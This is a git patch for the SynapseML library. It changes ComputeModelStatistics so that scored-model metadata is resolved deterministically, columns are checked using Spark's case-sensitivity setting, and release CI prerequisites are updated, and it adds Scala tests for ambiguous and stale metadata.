2001 From: Rana Singh Date: Mon, 17 Aug 2026 01:15:57 -0700 Subject: [PATCH 88/93] fix: resolve current model metadata deterministically (#2632) * fix: resolve current model metadata deterministically Prevent ComputeModelStatistics from selecting orphaned model metadata left in dataframe lineage. Resolve complete scored-model candidates deterministically, honor explicit label and metric intent, reject genuine ambiguity, and report actionable missing-column errors. Fix GitHub issue #1697 end to end while keeping the change focused and backward compatible. Reproduce repeated regression/classification training, preserve explicit column settings, cover ambiguous and missing metadata, and validate both classification and regression paths with JDK 11. - GitHub issue: https://github.com/microsoft/SynapseML/issues/1697 Enumerating complete label-plus-prediction metadata sets avoids relying on schema or metadata-map order and naturally excludes stale label-only entries. Explicit label and evaluation settings constrain selection without guessing. Ambiguous complete candidates fail with guidance rather than silently choosing a model, while generic Spark models retain the explicit-column fallback. Score validation remains lazy for metrics that do not consume scores to preserve existing behavior. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: clarify incomplete metadata guidance ## Summary Make the missing-metadata error mention the all-metrics restriction only when evaluationMetric is actually unresolved, and cover the explicit-metric/missing-label case. ## Prompting Intent Address the actionable PR review comment without expanding issue #1697 scope, then re-run the focused JDK 11 test, compile, and style validation. ## Linked Sources - GitHub issue: https://github.com/microsoft/SynapseML/issues/1697 - Pull request: https://github.com/microsoft/SynapseML/pull/2632 - Review comment: https://github.com/microsoft/SynapseML/pull/2632#discussion_r3787481343 ## Rationale Conditioning the hint on the unresolved setting avoids telling users to change a metric that is already explicit while preserving guidance when the default all-metrics mode is genuinely ambiguous. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: harden scored-model metadata resolution ## Summary Make scored-model discovery deterministic for duplicate, conflicting, incomplete, and reordered metadata; preserve fully explicit evaluation settings; validate columns with Spark case-sensitivity semantics; and retain parameters across copy, pipeline, and serialization paths. ## Prompting Intent Make GitHub PR #2632 merge-ready after the #2635 metric changes by auditing metadata resolution, schema propagation, API compatibility, classification/regression behavior, pipeline serialization, code generation, determinism, concurrency safety, and performance, with robust end-to-end and negative tests. ## Linked Sources - GitHub issue: https://github.com/microsoft/SynapseML/issues/1697 - Pull request: https://github.com/microsoft/SynapseML/pull/2632 - Interacting pull request: https://github.com/microsoft/SynapseML/pull/2635 - Review comment: https://github.com/microsoft/SynapseML/pull/2632#discussion_r3787481343 ## Rationale A one-pass immutable metadata index removes schema-order dependence and avoids repeated model-by-model scans. Equivalent metadata is collapsed by semantic signature, conflicting required or score roles fail deterministically, orphaned entries remain ignorable, and complete explicit settings bypass unrelated metadata only when no metadata-derived column is needed. Package-scoped role lookup preserves the existing public API while preventing first-column selection, and defaultCopy preserves uid and params without changing the copy signature. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: replay metric prerequisite on Spark 4.1 ## Summary Add merged PR #2635 as a release-compatibility prerequisite so the metadata-resolution patch applies and compiles cleanly on the Spark 4.1 branch. ## Prompting Intent Account for merged PR #2635 while making PR #2632 merge-ready, including an exact release-branch replay and Spark 4.1 test compilation rather than relying only on the master build. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2632 - Prerequisite pull request: https://github.com/microsoft/SynapseML/pull/2635 - GitHub issue: https://github.com/microsoft/SynapseML/issues/1697 ## Rationale PR #2635 changed ComputeModelStatistics and its tests after Spark 4.1 diverged, so the PR-only patch conflicts without that baseline. Replaying the merged commit after the existing scoped test prerequisite matches the pipeline's prerequisite mechanism, keeps the feature patch focused, and was verified by an exact JDK 17 Spark 4.1 test:compile replay. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * ci: replay dependent scoped prerequisites ## Summary Teach release compatibility replay to include an add-only scoped baseline when a later unscoped prerequisite modifies that path, validate the scoped blob against the dependent commit's parent, and reset the release checkout before applying patches. ## Prompting Intent Resolve the concrete Spark 4.1 Azure failure for PR #2632 without weakening prerequisite validation. The merged #2635 prerequisite depends on test files added by the existing scoped #2507 prerequisite even though those files are not directly changed by the PR. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2632 - Failed Azure build: https://msdata.visualstudio.com/b9b2accc-2d1c-45b3-9d24-0eb5d78cc47f/_build/results?buildId=231383144 - Dependent prerequisite: https://github.com/microsoft/SynapseML/pull/2635 - Scoped baseline prerequisite: https://github.com/microsoft/SynapseML/pull/2507 ## Rationale The existing replay selected scoped prerequisites only by direct PR-path overlap, so #2635 was applied before its add-only test baseline and failed. Looking ahead only to later unscoped prerequisites preserves normal skip behavior for unrelated paths while replaying true dependencies in config order. Comparing the scoped blob to the first dependent prerequisite parent retains exact-baseline validation, and a hard reset removes checkout/index drift before three-way application. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: honor Spark case resolution in metric metadata ## Summary Resolve configured labels using Spark case-sensitivity semantics in metadata-backed and fully explicit evaluation, use the default Spark session when transformSchema has no active session, improve ambiguity guidance, and harden release replay portability and dependent-prerequisite diagnostics. ## Prompting Intent Address every Copilot review comment on PR #2632 while preserving deterministic metadata selection, schema propagation, API compatibility, and Spark 4.1 replay behavior with end-to-end negative coverage. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2632 - GitHub issue: https://github.com/microsoft/SynapseML/issues/1697 - Case-resolution review: https://github.com/microsoft/SynapseML/pull/2632#discussion_r3791454281 - Bash-portability review: https://github.com/microsoft/SynapseML/pull/2632#discussion_r3791490854 - Default-session review: https://github.com/microsoft/SynapseML/pull/2632#discussion_r3791665938 - Explicit-schema review: https://github.com/microsoft/SynapseML/pull/2632#discussion_r3791810477 - Replay-diagnostics review: https://github.com/microsoft/SynapseML/pull/2632#discussion_r3791810500 - Interacting pull request: https://github.com/microsoft/SynapseML/pull/2635 ## Rationale A package-scoped resolver preserves the existing public API while applying identical unique case-insensitive matching in metadata-backed and explicit paths. transformSchema prefers the active session and falls back to the default session so schema inference follows runtime configuration whenever Spark context exists. Explicit replay selection avoids Bash negative-index compatibility issues, and guarded parent resolution yields deterministic Azure errors for root or invalid dependent prerequisites; parameterized end-to-end tests exercise both dependent scans. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .pipelines/release-compat-prerequisites.txt | 3 + .../synapse/ml/core/metrics/MetricUtils.scala | 271 ++++++++++++++-- .../ml/train/ComputeModelStatistics.scala | 130 ++++++-- .../train/ComputePerInstanceStatistics.scala | 3 +- .../train/VerifyComputeModelStatistics.scala | 298 +++++++++++++++++- pipeline.yaml | 62 +++- tools/ci/tests/test_pipeline_yaml.py | 183 ++++++++++- 7 files changed, 888 insertions(+), 62 deletions(-) diff --git a/.pipelines/release-compat-prerequisites.txt b/.pipelines/release-compat-prerequisites.txt index 341856e80b0..930f62be2d7 100644 --- a/.pipelines/release-compat-prerequisites.txt +++ b/.pipelines/release-compat-prerequisites.txt @@ -7,3 +7,6 @@ # PR #2507 introduced tests modified by PR #2635 but absent from Spark 4.1. # Remove this scoped prerequisite once every validated release branch contains these tests. 6938c472175ed1592ec24e7d8c65d9174f17c4e5 core/src/test/scala/com/microsoft/azure/synapse/ml/automl/VerifyEvaluationUtils.scala core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala +# PR #2635 changed ComputeModelStatistics and its tests before this metadata fix. +# Remove this prerequisite once every validated release branch contains that backport. +f7a1dc50d09d400d279d08bf69a1fac322896748 diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/metrics/MetricUtils.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/metrics/MetricUtils.scala index dc2bb6184c7..bd211333f48 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/core/metrics/MetricUtils.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/core/metrics/MetricUtils.scala @@ -4,13 +4,87 @@ package com.microsoft.azure.synapse.ml.core.metrics import com.microsoft.azure.synapse.ml.core.schema.SchemaConstants.MMLTag -import com.microsoft.azure.synapse.ml.core.schema.{SchemaConstants, SparkSchema} +import com.microsoft.azure.synapse.ml.core.schema.SchemaConstants import org.apache.spark.sql.types.injections.MetadataUtilities -import org.apache.spark.sql.types.{Metadata, StructField, StructType} +import org.apache.spark.sql.types.{Metadata, StructType} + +import scala.util.control.NonFatal /** Utilities used by modules for metrics. */ object MetricUtils { + private case class ScoredModelCandidate(modelName: String, + labelColumnName: String, + scoreValueKind: String, + predictionColumnName: String, + otherColumns: Seq[ScoreColumnMetadata]) { + def schemaInfo: (String, String, String) = (modelName, labelColumnName, scoreValueKind) + + def description: String = + s"$modelName (label=$labelColumnName, kind=$scoreValueKind, prediction=$predictionColumnName)" + + def signature(includeOtherColumns: Boolean): (String, String, String, Seq[(String, String, String)]) = + (labelColumnName, scoreValueKind, predictionColumnName, + if (includeOtherColumns) { + otherColumns.map(column => (column.columnKind, column.columnName, column.scoreValueKind)) + } else { + Seq.empty + }) + } + + private case class ScoreColumnMetadata(modelName: String, + columnName: String, + columnKind: String, + scoreValueKind: String) + + private case class ScoredModelMetadata(modelName: String, columns: Seq[ScoreColumnMetadata]) { + private val labelColumns = columns.filter(_.columnKind == SchemaConstants.TrueLabelsColumn) + private val predictionColumns = columns.filter(_.columnKind == SchemaConstants.SparkPredictionColumn) + private val otherColumns = columns + .filter(column => + column.columnKind == SchemaConstants.SparkRawPredictionColumn || + column.columnKind == SchemaConstants.SparkProbabilityColumn) + .sortBy(column => (column.columnKind, column.columnName, column.scoreValueKind)) + + def candidates: Seq[ScoredModelCandidate] = { + for { + label <- labelColumns + prediction <- predictionColumns + if label.scoreValueKind == prediction.scoreValueKind + if ValidScoreValueKinds.contains(label.scoreValueKind) + } yield ScoredModelCandidate( + modelName, + label.columnName, + label.scoreValueKind, + prediction.columnName, + otherColumns) + } + + def conflictDescription(labelCol: Option[String], + requestedKind: Option[String]): Option[String] = { + val couldMatchLabel = labelCol.forall(label => labelColumns.exists(_.columnName == label)) + val availableKinds = (labelColumns ++ predictionColumns).map(_.scoreValueKind).toSet + val couldMatchKind = requestedKind.forall(availableKinds.contains) + if (labelColumns.nonEmpty && predictionColumns.nonEmpty && + candidates.isEmpty && couldMatchLabel && couldMatchKind) { + val labels = describeColumns(labelColumns) + val predictions = describeColumns(predictionColumns) + Some(s"$modelName has incompatible label metadata $labels and prediction metadata $predictions") + } else { + None + } + } + + private def describeColumns(scoreColumns: Seq[ScoreColumnMetadata]): String = + scoreColumns + .map(column => s"${column.columnName}:${column.scoreValueKind}") + .distinct + .sorted + .mkString("[", ", ", "]") + } + + private val ValidScoreValueKinds = Set(SchemaConstants.ClassificationKind, SchemaConstants.RegressionKind) + def isClassificationMetric(metric: String): Boolean = { if (MetricConstants.RegressionMetrics.contains(metric)) false else if (MetricConstants.ClassificationMetrics.contains(metric)) true @@ -19,46 +93,177 @@ object MetricUtils { def getSchemaInfo(schema: StructType, labelCol: Option[String], evaluationMetric: String): (String, String, String) = { - val schemaInfo = tryGetSchemaInfo(schema) - if (schemaInfo.isDefined) { - schemaInfo.get - } else { - if (labelCol.isEmpty) { - throw new Exception("Please score the model prior to evaluating") - } else if (evaluationMetric == MetricConstants.AllSparkMetrics) { - throw new Exception("Please specify whether you are using evaluation for " + - MetricConstants.ClassificationMetricsName + " or " + MetricConstants.RegressionMetricsName + - " instead of " + MetricConstants.AllSparkMetrics) + getSchemaInfo(schema, labelCol, evaluationMetric, caseSensitive = true) + } + + private[ml] def getSchemaInfo(schema: StructType, + labelCol: Option[String], + evaluationMetric: String, + caseSensitive: Boolean): (String, String, String) = { + val resolvedLabelCol = resolveLabelColumn(schema, labelCol, caseSensitive) + val requestedKind = getRequestedScoreValueKind(evaluationMetric) + tryGetSchemaInfo( + schema, + resolvedLabelCol, + requestedKind, + requiresAuxiliaryMetadata(evaluationMetric, requestedKind)).map(_.schemaInfo).getOrElse { + (resolvedLabelCol, requestedKind) match { + case (Some(labelColumnName), Some(scoreValueKind)) => + ("custom model", labelColumnName, scoreValueKind) + case _ => + val missingSettings = Seq( + if (labelCol.isEmpty) Some("labelCol") else None, + if (requestedKind.isEmpty) Some("evaluationMetric") else None).flatten + val availableColumns = schema.fieldNames.sorted.mkString("[", ", ", "]") + val metricHint = + if (requestedKind.isEmpty) s" (evaluationMetric must not be '${MetricConstants.AllSparkMetrics}')" + else "" + throw new IllegalArgumentException( + "Unable to determine a complete scored model from schema metadata. " + + s"Set ${missingSettings.mkString(" and ")}$metricHint, " + + "or score the dataset so one model has both label and prediction metadata. " + + s"Available columns: $availableColumns") } - ("custom model", labelCol.get, - if (isClassificationMetric(evaluationMetric)) - SchemaConstants.ClassificationKind - else SchemaConstants.RegressionKind) } } - private def tryGetSchemaInfo(schema: StructType): Option[(String, String, String)] = { - // TODO: evaluate all models; for now, get first model name found - val firstModelName = schema.collectFirst { - case StructField(_, _, _, m) if getFirstModelName(m) != null && getFirstModelName(m).isDefined => - getFirstModelName(m).get + private[ml] def getScoreColumnName(schema: StructType, + modelName: String, + columnKind: String, + scoreValueKind: String): Option[String] = { + val matchingColumns = getScoredModelMetadata(schema) + .find(_.modelName == modelName) + .toSeq + .flatMap(_.columns) + .filter(_.columnKind == columnKind) + val descriptions = matchingColumns + .map(column => s"${column.columnName}:${column.scoreValueKind}") + .distinct + .sorted + matchingColumns.map(_.scoreValueKind).distinct match { + case Seq(kind) if kind == scoreValueKind && descriptions.size == 1 => + Some(matchingColumns.head.columnName) + case Seq() => None + case _ => + throw new IllegalArgumentException( + s"Conflicting scored-model metadata. $modelName has $columnKind columns " + + descriptions.mkString("[", ", ", "].")) + } + } + + private def getRequestedScoreValueKind(evaluationMetric: String): Option[String] = { + if (evaluationMetric == MetricConstants.AllSparkMetrics) None + else if (isClassificationMetric(evaluationMetric)) Some(SchemaConstants.ClassificationKind) + else Some(SchemaConstants.RegressionKind) + } + + private def requiresAuxiliaryMetadata(evaluationMetric: String, + requestedKind: Option[String]): Boolean = { + requestedKind match { + case Some(SchemaConstants.RegressionKind) => false + case Some(SchemaConstants.ClassificationKind) => + evaluationMetric != MetricConstants.AccuracySparkMetric && + evaluationMetric != MetricConstants.PrecisionSparkMetric && + evaluationMetric != MetricConstants.RecallSparkMetric + case _ => true + } + } + + private def tryGetSchemaInfo(schema: StructType, + labelCol: Option[String], + requestedKind: Option[String], + includeOtherColumns: Boolean): Option[ScoredModelCandidate] = { + val scoredModels = getScoredModelMetadata(schema) + val conflicts = scoredModels + .flatMap(_.conflictDescription(labelCol, requestedKind)) + .sorted + if (conflicts.nonEmpty) { + throw new IllegalArgumentException( + "Conflicting scored-model metadata. " + conflicts.mkString("[", ", ", "].")) } - if (firstModelName.isEmpty) None - else { - val modelName = firstModelName.get - val labelColumnName = SparkSchema.getLabelColumnName(schema, modelName) - val scoreValueKind = SparkSchema.getScoreValueKind(schema, modelName, labelColumnName) - Option((modelName, labelColumnName, scoreValueKind)) + + val matchingCandidates = scoredModels + .flatMap(_.candidates) + .filter(candidate => labelCol.forall(_ == candidate.labelColumnName)) + .filter(candidate => requestedKind.forall(_ == candidate.scoreValueKind)) + val distinctCandidates = matchingCandidates + .groupBy(_.signature(includeOtherColumns)) + .values + .map(_.minBy(_.modelName)) + .toSeq + .sortBy(candidate => + (candidate.modelName, candidate.labelColumnName, + candidate.scoreValueKind, candidate.predictionColumnName)) + + distinctCandidates match { + case Seq(candidate) => Some(candidate) + case candidates if candidates.nonEmpty => + throw new IllegalArgumentException( + "Ambiguous scored-model metadata. Multiple complete candidates match: " + + candidates.map(_.description).mkString("[", ", ", "]. ") + + "Set labelCol and evaluationMetric to narrow candidates. If metadata still overlaps, " + + "set scoredLabelsCol/scoresCol explicitly or remove stale score metadata.") + case _ => None } } - private def getFirstModelName(colMetadata: Metadata): Option[String] = { - if (!colMetadata.contains(MMLTag)) null //scalastyle:ignore null - else { - val mlTagMetadata = colMetadata.getMetadata(MMLTag) - val metadataKeys = MetadataUtilities.getMetadataKeys(mlTagMetadata) - metadataKeys.find(key => key.startsWith(SchemaConstants.ScoreModelPrefix)) + private[ml] def resolveLabelColumn(schema: StructType, + labelCol: Option[String], + caseSensitive: Boolean): Option[String] = { + labelCol.map { requestedLabel => + if (caseSensitive) { + requestedLabel + } else { + schema.fieldNames.filter(_.equalsIgnoreCase(requestedLabel)) match { + case Array(resolvedLabel) => resolvedLabel + case _ => requestedLabel + } + } } } + private def getScoredModelMetadata(schema: StructType): Seq[ScoredModelMetadata] = { + schema.fields + .flatMap(field => getScoreColumnMetadata(field.name, field.metadata)) + .groupBy(_.modelName) + .toSeq + .sortBy(_._1) + .map { case (modelName, columns) => + ScoredModelMetadata( + modelName, + columns.sortBy(column => (column.columnKind, column.columnName, column.scoreValueKind))) + } + } + + private def getScoreColumnMetadata(columnName: String, + colMetadata: Metadata): Seq[ScoreColumnMetadata] = { + getMetadata(colMetadata, MMLTag).toSeq.flatMap { mlTagMetadata => + MetadataUtilities.getMetadataKeys(mlTagMetadata) + .filter(_.startsWith(SchemaConstants.ScoreModelPrefix)) + .toSeq + .sorted + .flatMap { modelName => + for { + modelMetadata <- getMetadata(mlTagMetadata, modelName) + columnKind <- getString(modelMetadata, SchemaConstants.ScoreColumnKind) + scoreValueKind <- getString(modelMetadata, SchemaConstants.ScoreValueKind) + } yield ScoreColumnMetadata(modelName, columnName, columnKind, scoreValueKind) + } + } + } + + private def getMetadata(metadata: Metadata, key: String): Option[Metadata] = + try { + if (metadata.contains(key)) Some(metadata.getMetadata(key)) else None + } catch { + case NonFatal(_) => None + } + + private def getString(metadata: Metadata, key: String): Option[String] = + try { + if (metadata.contains(key)) Option(metadata.getString(key)) else None + } catch { + case NonFatal(_) => None + } + } diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.scala index faf07927c66..fbf0a87c0e3 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputeModelStatistics.scala @@ -6,7 +6,7 @@ package com.microsoft.azure.synapse.ml.train import com.microsoft.azure.synapse.ml.codegen.Wrappable import com.microsoft.azure.synapse.ml.core.contracts._ import com.microsoft.azure.synapse.ml.core.metrics.{MetricConstants, MetricUtils} -import com.microsoft.azure.synapse.ml.core.schema.{CategoricalUtilities, SchemaConstants, SparkSchema} +import com.microsoft.azure.synapse.ml.core.schema.{CategoricalUtilities, SchemaConstants} import com.microsoft.azure.synapse.ml.logging.{FeatureNames, SynapseMLLogging} import org.apache.log4j.Logger import org.apache.spark.ml.Transformer @@ -75,24 +75,29 @@ class ComputeModelStatistics(override val uid: String) extends Transformer //scalastyle:off cyclomatic.complexity override def transform(dataset: Dataset[_]): DataFrame = { logTransform[DataFrame]({ - val (modelName, labelColumnName, scoreValueKind) = - MetricUtils.getSchemaInfo( - dataset.schema, - if (isDefined(labelCol)) Some(getLabelCol) else None, - getEvaluationMetric) + val (modelName, resolvedLabelColumnName, scoreValueKind) = + resolveSchemaInfo(dataset.schema, isCaseSensitive(dataset.sparkSession)) + val labelColumnName = validateColumn( + dataset, resolvedLabelColumnName, "label", "setLabelCol") // For creating the result dataframe in classification or regression case val spark = dataset.sparkSession import spark.implicits._ if (scoreValueKind == SchemaConstants.ClassificationKind) { - + val scoredLabelsColumnName = validateColumn( + dataset, + if (isDefined(scoredLabelsCol)) getScoredLabelsCol + else MetricUtils.getScoreColumnName( + dataset.schema, + modelName, + SchemaConstants.SparkPredictionColumn, + scoreValueKind).orNull, + "classification prediction", + "setScoredLabelsCol") var resultDF: DataFrame = Seq(MetricConstants.ClassificationEvaluationType) .toDF(MetricConstants.EvaluationType) - val scoredLabelsColumnName = - if (isDefined(scoredLabelsCol)) getScoredLabelsCol - else SparkSchema.getSparkPredictionColumnName(dataset.schema, modelName) // Get levels for label column if categorical val levels = CategoricalUtilities.getLevels(dataset.schema, labelColumnName) @@ -109,11 +114,22 @@ class ComputeModelStatistics(override val uid: String) extends Transformer lazy val scoresAndLabels = { val scoresColumnName = - if (isDefined(scoresCol)) getScoresCol - else SparkSchema.getSparkRawPredictionColumnName(dataset.schema, modelName) - if (scoresColumnName == null) predictionAndLabels - else if (levelsExist) getScoresAndLabels(dataset, labelColumnName, scoresColumnName, levelsToIndexMap) - else getScalarScoresAndLabels(dataset, labelColumnName, scoresColumnName) + if (isDefined(scoresCol)) { + Some(validateColumn(dataset, getScoresCol, "classification score", "setScoresCol")) + } else { + MetricUtils.getScoreColumnName( + dataset.schema, + modelName, + SchemaConstants.SparkRawPredictionColumn, + scoreValueKind) + .map(columnName => validateColumn(dataset, columnName, "classification score", "setScoresCol")) + } + scoresColumnName match { + case Some(columnName) if levelsExist => + getScoresAndLabels(dataset, labelColumnName, columnName, levelsToIndexMap) + case Some(columnName) => getScalarScoresAndLabels(dataset, labelColumnName, columnName) + case None => predictionAndLabels + } } lazy val (labels: Array[Double], confusionMatrix: Matrix) = createConfusionMatrix(predictionAndLabels) @@ -153,9 +169,16 @@ class ComputeModelStatistics(override val uid: String) extends Transformer } resultDF } else if (scoreValueKind == SchemaConstants.RegressionKind) { - val scoresColumnName = + val scoresColumnName = validateColumn( + dataset, if (isDefined(scoresCol)) getScoresCol - else SparkSchema.getSparkPredictionColumnName(dataset.schema, modelName) + else MetricUtils.getScoreColumnName( + dataset.schema, + modelName, + SchemaConstants.SparkPredictionColumn, + scoreValueKind).orNull, + "regression prediction/score", + "setScoresCol") val scoresAndLabels = selectAndCastToRDD(dataset, scoresColumnName, labelColumnName) @@ -181,6 +204,70 @@ class ComputeModelStatistics(override val uid: String) extends Transformer //scalastyle:on method.length //scalastyle:on cyclomatic.complexity + private def validateColumn(dataset: Dataset[_], + columnName: String, + columnRole: String, + setterName: String): String = { + val requestedColumn = Option(columnName).filter(_.nonEmpty) + val columns = dataset.columns + val caseSensitive = dataset.sparkSession.conf.get("spark.sql.caseSensitive", "false").toBoolean + val matchingColumns = requestedColumn.toSeq.flatMap { column => + if (caseSensitive) columns.filter(_ == column) + else columns.filter(_.equalsIgnoreCase(column)) + } + if (matchingColumns.size > 1) { + throw new IllegalArgumentException( + s"Unable to resolve $columnRole column '${requestedColumn.get}' unambiguously. " + + s"Matching columns: ${matchingColumns.sorted.mkString("[", ", ", "]")}") + } else if (matchingColumns.isEmpty) { + val requestedDescription = requestedColumn.map(name => s"'$name'").getOrElse("") + val availableColumns = columns.sorted.mkString("[", ", ", "]") + throw new IllegalArgumentException( + s"Unable to resolve $columnRole column $requestedDescription. " + + s"Call $setterName(...) with an existing column. Available columns: $availableColumns") + } + matchingColumns.head + } + + private def resolveSchemaInfo(schema: StructType, + caseSensitive: Boolean): (String, String, String) = { + if (canEvaluateWithoutMetadata) { + val scoreValueKind = + if (MetricUtils.isClassificationMetric(getEvaluationMetric)) SchemaConstants.ClassificationKind + else SchemaConstants.RegressionKind + val resolvedLabelCol = + MetricUtils.resolveLabelColumn(schema, Some(getLabelCol), caseSensitive).get + ("custom model", resolvedLabelCol, scoreValueKind) + } else { + MetricUtils.getSchemaInfo( + schema, + if (isDefined(labelCol)) Some(getLabelCol) else None, + getEvaluationMetric, + caseSensitive) + } + } + + private def isCaseSensitive(sparkSession: SparkSession): Boolean = + sparkSession.conf.get("spark.sql.caseSensitive", "false").toBoolean + + private def canEvaluateWithoutMetadata: Boolean = { + if (!isDefined(labelCol) || getEvaluationMetric == MetricConstants.AllSparkMetrics) { + false + } else if (MetricUtils.isClassificationMetric(getEvaluationMetric)) { + isDefined(scoredLabelsCol) && + (!classificationMetricRequiresScores || isDefined(scoresCol)) + } else { + isDefined(scoresCol) + } + } + + private def classificationMetricRequiresScores: Boolean = { + getEvaluationMetric == MetricConstants.ClassificationMetricsName || + getEvaluationMetric == MetricConstants.AucSparkMetric || + getEvaluationMetric == MetricConstants.AreaUnderROCMetric || + getEvaluationMetric == MetricConstants.AreaUnderPRMetric + } + private def addSimpleMetric(simpleMetric: String, predictionAndLabels: RDD[(Double, Double)], resultDF: DataFrame): DataFrame = { @@ -482,14 +569,15 @@ class ComputeModelStatistics(override val uid: String) extends Transformer (labels, confusionMatrix) } - override def copy(extra: ParamMap): Transformer = new ComputeModelStatistics() + override def copy(extra: ParamMap): Transformer = defaultCopy(extra) override def transformSchema(schema: StructType): StructType = { val (_, labelColumnName, scoreValueKind) = - MetricUtils.getSchemaInfo( + resolveSchemaInfo( schema, - if (isDefined(labelCol)) Some(getLabelCol) else None, - getEvaluationMetric) + SparkSession.getActiveSession + .orElse(SparkSession.getDefaultSession) + .exists(isCaseSensitive)) val labelLevels = getLabelLevels(schema, labelColumnName) val (columns, validMetrics) = if (scoreValueKind == SchemaConstants.ClassificationKind) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputePerInstanceStatistics.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputePerInstanceStatistics.scala index 2c4d80a3b80..0d55a1b80c6 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputePerInstanceStatistics.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/train/ComputePerInstanceStatistics.scala @@ -54,7 +54,8 @@ class ComputePerInstanceStatistics(override val uid: String) extends Transformer MetricUtils.getSchemaInfo( dataset.schema, if (isDefined(labelCol)) Some(getLabelCol) else None, - getEvaluationMetric) + getEvaluationMetric, + dataset.sparkSession.conf.get("spark.sql.caseSensitive", "false").toBoolean) val dataframe = dataset.toDF() diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputeModelStatistics.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputeModelStatistics.scala index d270253b3a0..21a67bbf592 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputeModelStatistics.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputeModelStatistics.scala @@ -11,15 +11,17 @@ import com.microsoft.azure.synapse.ml.core.test.benchmarks.DatasetUtils import com.microsoft.azure.synapse.ml.core.test.fuzzing.{TestObject, TransformerFuzzing} import com.microsoft.azure.synapse.ml.train.TrainClassifierTestUtilities._ import com.microsoft.azure.synapse.ml.train.TrainRegressorTestUtilities._ +import org.apache.spark.ml.Pipeline import org.apache.spark.ml.classification.LogisticRegression import org.apache.spark.ml.evaluation.BinaryClassificationEvaluator import org.apache.spark.ml.feature.FastVectorAssembler import org.apache.spark.ml.linalg.{Vector, Vectors} +import org.apache.spark.ml.param.ParamMap import org.apache.spark.ml.regression.GeneralizedLinearRegression import org.apache.spark.ml.util.MLReadable import org.apache.spark.sql._ import org.apache.spark.sql.functions._ -import org.apache.spark.sql.types.{DoubleType, StructField, StructType} +import org.apache.spark.sql.types.{DoubleType, MetadataBuilder, StructField, StructType} import scala.util.Random @@ -220,6 +222,300 @@ class VerifyComputeModelStatistics extends TransformerFuzzing[ComputeModelStatis } } + private def addScoreColumnMetadata(dataset: DataFrame, + modelName: String, + columnName: String, + columnKind: String, + scoreValueKind: String): DataFrame = { + val existingMetadata = dataset.schema(columnName).metadata + val mmlBuilder = new MetadataBuilder() + if (existingMetadata.contains(SchemaConstants.MMLTag)) { + mmlBuilder.withMetadata(existingMetadata.getMetadata(SchemaConstants.MMLTag)) + } + val modelMetadata = new MetadataBuilder() + .putString(SchemaConstants.ScoreColumnKind, columnKind) + .putString(SchemaConstants.ScoreValueKind, scoreValueKind) + .build() + val updatedMetadata = new MetadataBuilder() + .withMetadata(existingMetadata) + .putMetadata( + SchemaConstants.MMLTag, + mmlBuilder.putMetadata(modelName, modelMetadata).build()) + .build() + dataset.withColumn(columnName, col(columnName).as(columnName, updatedMetadata)) + } + + private def addScoredModelMetadata(dataset: DataFrame, + modelName: String, + labelCol: String, + scoreValueKind: String): DataFrame = { + val withLabel = SparkSchema.setLabelColumnName(dataset, modelName, labelCol, scoreValueKind) + SparkSchema.updateColumnMetadata( + withLabel, modelName, SchemaConstants.SparkPredictionColumn, scoreValueKind) + } + + test("Explicit settings select classification after a stale regression score is dropped") { + val regressionLabel = "regressionLabel" + val input = dataset + .withColumn(regressionLabel, col("col2") + col("col3")) + .select(col(regressionLabel), col(labelColumn), col("col1"), col("col2"), col("col3"), col("col4")) + val regressionScored = createLinearRegressor(regressionLabel).fit(input).transform(input) + + val regressionEvaluation = new ComputeModelStatistics().transform(regressionScored) + assert(regressionEvaluation.columns.contains(MetricConstants.MseColumnName)) + + val classifierInput = regressionScored.drop(SchemaConstants.SparkPredictionColumn) + assert(classifierInput.schema(regressionLabel).metadata.contains(SchemaConstants.MMLTag)) + val classificationScored = createLR.setLabelCol(labelColumn).fit(classifierInput).transform(classifierInput) + val classificationEvaluation = new ComputeModelStatistics() + .setLabelCol(labelColumn) + .setScoredLabelsCol(SchemaConstants.SparkPredictionColumn) + .setEvaluationMetric(MetricConstants.ClassificationMetricsName) + .transform(classificationScored) + + assert(classificationEvaluation.columns.contains(MetricConstants.AccuracyColumnName)) + assert(!classificationEvaluation.columns.contains(MetricConstants.MseColumnName)) + } + + test("Explicit columns and metric beat unrelated scored-model metadata") { + val unrelatedLabel = "unrelatedLabel" + val selectedLabel = "selectedLabel" + val selectedPrediction = "selectedPrediction" + val unrelatedModel = SchemaConstants.ScoreModelPrefix + "_unrelated" + val wrongKindModel = SchemaConstants.ScoreModelPrefix + "_wrong_kind" + val input = spark.createDataFrame(Seq( + (1.0, 0.0, 1.0, 0.0), + (0.0, 1.0, 0.0, 1.0), + (1.0, 0.0, 1.0, 0.0), + (0.0, 1.0, 0.0, 1.0))) + .toDF(unrelatedLabel, selectedLabel, SchemaConstants.SparkPredictionColumn, selectedPrediction) + 